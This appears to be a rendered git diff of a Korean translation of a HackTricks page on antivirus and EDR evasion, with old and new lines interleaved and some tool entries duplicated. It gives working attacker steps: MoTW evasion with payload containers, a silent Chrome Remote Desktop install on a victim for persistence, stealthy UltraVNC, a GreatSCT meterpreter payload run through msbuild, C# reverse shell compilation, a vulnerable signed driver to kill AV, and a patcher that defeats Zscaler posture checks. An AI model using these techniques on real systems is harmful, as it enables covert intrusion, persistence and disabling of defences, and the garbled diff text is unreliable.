3. 프록시 호출 제거 – ConfuserEx는 직접 메서드 호출을 경량 래퍼(즉, *프록시 호출*)로 대체하여 디컴파일을 더욱 어렵게 만듭니다. **ProxyCall-Remover**를 사용하여 이를 제거합니다:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
이 단계 후에는 불투명한 래퍼 함수(`Class8.smethod_10` 등) 대신 `Convert.FromBase64String` 또는 `AES.Create()`와 같은 정상적인 .NET API를 관찰해야 합니다.
|
||||
|
||||
4. 수동 정리 – dnSpy에서 결과 이진 파일을 실행하고, 큰 Base64 블롭 또는 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 사용을 검색하여 *실제* 페이로드를 찾습니다. 종종 악성 코드는 `<Module>.byte_0` 내에서 초기화된 TLV 인코딩된 바이트 배열로 저장합니다.
|
||||
|
||||
위의 체인은 악성 샘플을 실행하지 않고도 실행 흐름을 복원합니다 – 오프라인 워크스테이션에서 작업할 때 유용합니다.
|
||||
|
||||
> 🛈 ConfuserEx는 `ConfusedByAttribute`라는 사용자 정의 속성을 생성하며, 이는 IOC로 사용되어 샘플을 자동으로 분류하는 데 사용할 수 있습니다.
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET 애플리케이션을 위한 훌륭한 오픈 소스 난독화 도구입니다. 제어 흐름 난독화, 안티 디버깅, 안티 변조 및 문자열 암호화와 같은 다양한 보호 기술을 제공합니다. 특정 코드 조각을 난독화할 수 있어 추천됩니다.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화 도구**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일 스위트의 오픈 소스 포크를 제공하여 [코드 난독화](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구 없이 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화 도구입니다.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구를 사용하지 않고 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 삶을 조금 더 어렵게 만듭니다.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 바이너리 난독화 도구입니다.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame는 임의의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화하여 정상적인 제어 흐름에 대한 우리의 자연스러운 개념을 저해합니다.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE Crypter입니다.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 쉘코드로 변환한 다음 이를 로드할 수 있습니다.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE 암호화 도구입니다.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 셸코드로 변환한 다음 로드할 수 있습니다.
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
@ -249,7 +283,7 @@ Microsoft Defender SmartScreen은 잠재적으로 악성 애플리케이션 실
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 일반적으로 다운로드되지 않는 애플리케이션은 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다 (파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
|
||||
SmartScreen은 주로 평판 기반 접근 방식을 사용하여 작동하며, 이는 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지한다는 것을 의미합니다(파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
|
||||
|
||||
**MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 Zone.Identifier라는 이름을 가집니다.
|
||||
|
||||
@ -258,11 +292,11 @@ SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 일반적
|
||||
> [!TIP]
|
||||
> **신뢰할 수 있는** 서명 인증서로 서명된 실행 파일은 **SmartScreen을 트리거하지 않습니다**.
|
||||
|
||||
페이로드가 Mark of The Web을 받지 않도록 방지하는 매우 효과적인 방법은 ISO와 같은 컨테이너에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW) **가** **비 NTFS** 볼륨에 적용될 수 없기 때문입니다.
|
||||
페이로드가 Mark of The Web을 받지 않도록 방지하는 매우 효과적인 방법은 ISO와 같은 컨테이너에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW) **가** **비 NTFS** 볼륨에 적용될 수 없기 때문에 발생합니다.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 페이로드를 출력 컨테이너에 패키징하여 Mark-of-the-Web을 피하는 도구입니다.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 Mark-of-the-Web을 피하기 위해 페이로드를 출력 컨테이너에 패키징하는 도구입니다.
|
||||
|
||||
예제 사용법:
|
||||
```bash
|
||||
@ -309,7 +343,7 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행한 후, 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 포착될 경우, **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 걸릴 가능성이 **더 높아진다는** 것입니다.
|
||||
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행한 후, 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡힐 경우, **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -328,15 +362,15 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져
|
||||
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안된 바와 같이, 손상된 머신에 **공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
|
||||
|
||||
인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.**
|
||||
인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 메모리 내에서 **이 언어들로 임의의 코드를 실행할 수 있습니다.**
|
||||
|
||||
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 쉘 스크립트로 테스트한 결과 성공적이었습니다.
|
||||
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 하면서 악의적인 활동을 확인할 권한을 줄일 수 있게 해주는 기술입니다.
|
||||
Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 하면서 악의적인 활동을 확인할 권한을 줄이는 기술입니다.
|
||||
|
||||
이를 방지하기 위해 Windows는 **외부 프로세스가 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 방지할 수 있습니다.**
|
||||
이를 방지하기 위해 Windows는 **외부 프로세스가** 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 **방지할 수 있습니다.**
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -346,16 +380,16 @@ Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
[**이 블로그 포스트**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에서 설명된 바와 같이, 피해자의 PC에 Chrome Remote Desktop을 배포한 후 이를 사용하여 PC를 장악하고 지속성을 유지하는 것은 쉽습니다:
|
||||
[**이 블로그 포스트**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에서 설명된 바와 같이, 피해자의 PC에 Chrome Remote Desktop을 배포한 후 이를 사용하여 장악하고 지속성을 유지하는 것은 쉽습니다:
|
||||
1. https://remotedesktop.google.com/에서 다운로드하고 "SSH를 통해 설정"을 클릭한 후, Windows용 MSI 파일을 다운로드합니다.
|
||||
2. 피해자(관리자 권한 필요)에서 설치 프로그램을 조용히 실행합니다: `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
2. 피해자에게서 조용히 설치 프로그램을 실행합니다(관리자 권한 필요): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop 페이지로 돌아가서 다음을 클릭합니다. 마법사가 권한 부여를 요청할 것입니다; 계속하려면 권한 부여 버튼을 클릭합니다.
|
||||
4. 주어진 매개변수를 약간 조정하여 실행합니다: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 핀을 설정할 수 있는 핀 매개변수에 유의하세요).
|
||||
4. 주어진 매개변수를 약간 조정하여 실행합니다: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 핀을 설정할 수 있는 핀 매개변수에 주의하세요).
|
||||
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 사실상 불가능합니다.
|
||||
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 사실상 불가능합니다.
|
||||
|
||||
당신이 맞서는 모든 환경은 고유한 강점과 약점을 가지고 있습니다.
|
||||
|
||||
@ -376,11 +410,11 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하여 **바이너리의 일부를 제거**하여 **Defender가 악성으로 찾는 부분을 알아내고** 이를 분리할 수 있습니다.\
|
||||
또 다른 도구로는 [**avred**](https://github.com/dobin/avred)가 있으며, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하고 있습니다.
|
||||
또한 [**avred**](https://github.com/dobin/avred)라는 도구도 **같은 작업을 수행하며**, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하는 오픈 웹을 제공합니다.
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Windows 10 이전까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치(관리자 권한 필요)할 수 있었습니다:
|
||||
Windows 10 이전까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치(관리자 권한 필요)하려면 다음과 같이 하면 됩니다:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -412,7 +446,7 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
|
||||
**경고:** 은폐를 유지하기 위해 몇 가지를 하지 않아야 합니다
|
||||
|
||||
- `winvnc`가 이미 실행 중이라면 시작하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/1SROTTl.png)이 발생합니다. `tasklist | findstr winvnc`로 실행 중인지 확인하세요
|
||||
- 동일한 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
|
||||
- 같은 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
|
||||
- 도움을 위해 `winvnc -h`를 실행하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/oc18wcu.png)이 발생합니다
|
||||
|
||||
### GreatSCT
|
||||
@ -435,7 +469,7 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
이제 **lister**를 `msfconsole -r file.rc`로 **시작**하고 **xml payload**를 다음과 같이 **실행**합니다:
|
||||
이제 **리스터를 시작**하려면 `msfconsole -r file.rc`를 입력하고 **xml 페이로드를 실행**하려면:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
@ -447,7 +481,7 @@ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### 첫 번째 C# 리버스 셸
|
||||
|
||||
다음과 함께 컴파일합니다:
|
||||
다음과 같이 컴파일합니다:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
@ -597,7 +631,7 @@ https://github.com/praetorian-code/vulcan
|
||||
Storm-2603는 **Antivirus Terminator**라는 작은 콘솔 유틸리티를 활용하여 랜섬웨어를 배포하기 전에 엔드포인트 보호 기능을 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 가져와서 이를 악용하여 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 특권 커널 작업을 수행합니다.
|
||||
|
||||
주요 내용
|
||||
1. **서명된 드라이버**: 디스크에 전달된 파일은 `ServiceMouse.sys`이지만, 이진 파일은 Antiy Labs의 “System In-Depth Analysis Toolkit”에서 가져온 합법적으로 서명된 드라이버 `AToolsKrnl64.sys`입니다. 이 드라이버는 유효한 Microsoft 서명을 가지고 있기 때문에 Driver-Signature-Enforcement (DSE)가 활성화되어 있어도 로드됩니다.
|
||||
1. **서명된 드라이버**: 디스크에 전달된 파일은 `ServiceMouse.sys`이지만, 이진 파일은 Antiy Labs의 “System In-Depth Analysis Toolkit”에서 온 합법적으로 서명된 드라이버 `AToolsKrnl64.sys`입니다. 이 드라이버는 유효한 Microsoft 서명을 가지고 있어 Driver-Signature-Enforcement (DSE)가 활성화되어 있어도 로드됩니다.
|
||||
2. **서비스 설치**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
@ -632,19 +666,19 @@ return 0;
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler의 **Client Connector**는 장치 자세 규칙을 로컬에서 적용하고 Windows RPC를 통해 결과를 다른 구성 요소에 전달합니다. 두 가지 약한 설계 선택으로 인해 전체 우회가 가능합니다:
|
||||
Zscaler의 **Client Connector**는 장치 자세 규칙을 로컬에서 적용하고 Windows RPC를 통해 결과를 다른 구성 요소에 전달합니다. 두 가지 약한 설계 선택으로 인해 완전 우회가 가능합니다:
|
||||
|
||||
1. 자세 평가는 **완전히 클라이언트 측**에서 발생합니다 (부울 값이 서버로 전송됨).
|
||||
1. 자세 평가가 **완전히 클라이언트 측**에서 발생합니다 (부울 값이 서버로 전송됨).
|
||||
2. 내부 RPC 엔드포인트는 연결된 실행 파일이 **Zscaler에 의해 서명되었는지**만 검증합니다 (via `WinVerifyTrust`).
|
||||
|
||||
**디스크에서 네 개의 서명된 이진 파일을 패치함으로써** 두 가지 메커니즘을 무력화할 수 있습니다:
|
||||
**디스크에서 네 개의 서명된 이진 파일을 패치함으로써** 두 가지 메커니즘을 중화할 수 있습니다:
|
||||
|
||||
| 이진 파일 | 패치된 원래 로직 | 결과 |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 항상 `1`을 반환하여 모든 검사가 준수됨 |
|
||||
| `ZSAService.exe` | `WinVerifyTrust`에 대한 간접 호출 | NOP-ed ⇒ 어떤 (서명되지 않은) 프로세스도 RPC 파이프에 바인딩 가능 |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret`로 교체 |
|
||||
| `ZSATunnel.exe` | 터널에 대한 무결성 검사 | 단축 회로 처리 |
|
||||
| `ZSATunnel.exe` | 터널에 대한 무결성 검사 | 단축 회로 처리됨 |
|
||||
|
||||
최소 패처 발췌:
|
||||
```python
|
||||
@ -662,7 +696,7 @@ f.write(replacement)
|
||||
```
|
||||
원본 파일을 교체하고 서비스 스택을 재시작한 후:
|
||||
|
||||
* **모든** 포스처 검사에서 **녹색/준수**가 표시됩니다.
|
||||
* **모든** 포스처 검사가 **녹색/준수**로 표시됩니다.
|
||||
* 서명되지 않았거나 수정된 바이너리가 명명된 파이프 RPC 엔드포인트(예: `\\RPC Control\\ZSATrayManager_talk_to_me`)를 열 수 있습니다.
|
||||
* 손상된 호스트는 Zscaler 정책에 의해 정의된 내부 네트워크에 무제한으로 접근할 수 있습니다.
|
||||
|
||||
@ -670,7 +704,8 @@ f.write(replacement)
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user